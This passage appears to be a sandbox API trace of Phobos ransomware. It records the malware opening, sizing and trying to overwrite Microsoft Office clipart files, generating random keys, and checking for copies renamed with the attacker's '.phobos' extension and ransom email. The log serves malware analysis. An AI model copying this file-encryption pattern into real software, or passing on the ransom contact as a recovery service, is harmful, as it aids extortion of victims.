(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.071] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.072] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=15680) returned 1 [0150.072] CloseHandle (hObject=0x564) returned 1 [0150.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220 [0150.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.072] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.073] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=21268) returned 1 [0150.073] CloseHandle (hObject=0x564) returned 1 [0150.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0150.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.074] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.098] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=46936) returned 1 [0150.099] CloseHandle (hObject=0x564) returned 1 [0150.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0150.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.099] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.099] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=15760) returned 1 [0150.099] CloseHandle (hObject=0x564) returned 1 [0150.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0150.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.100] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.100] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=28212) returned 1 [0150.100] CloseHandle (hObject=0x564) returned 1 [0150.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0150.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.101] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.101] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17638) returned 1 [0150.101] CloseHandle (hObject=0x564) returned 1 [0150.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0150.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.102] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.103] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3332) returned 1 [0150.103] CloseHandle (hObject=0x564) returned 1 [0150.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0150.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.103] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.104] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1456) returned 1 [0150.104] CloseHandle (hObject=0x564) returned 1 [0150.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0150.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.104] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.105] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5314) returned 1 [0150.105] CloseHandle (hObject=0x564) returned 1 [0150.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220 [0150.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.105] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.106] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6934) returned 1 [0150.106] CloseHandle (hObject=0x564) returned 1 [0150.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220 [0150.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.106] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.106] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=42050) returned 1 [0150.106] CloseHandle (hObject=0x564) returned 1 [0150.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220 [0150.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.107] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.107] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4970) returned 1 [0150.107] CloseHandle (hObject=0x564) returned 1 [0150.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220 [0150.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.107] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.109] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24759) returned 1 [0150.109] CloseHandle (hObject=0x564) returned 1 [0150.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220 [0150.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.109] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.110] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16596) returned 1 [0150.110] CloseHandle (hObject=0x564) returned 1 [0150.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220 [0150.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.110] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.111] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24377) returned 1 [0150.111] CloseHandle (hObject=0x564) returned 1 [0150.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220 [0150.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.111] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.112] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=18258) returned 1 [0150.112] CloseHandle (hObject=0x564) returned 1 [0150.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220 [0150.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.112] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft 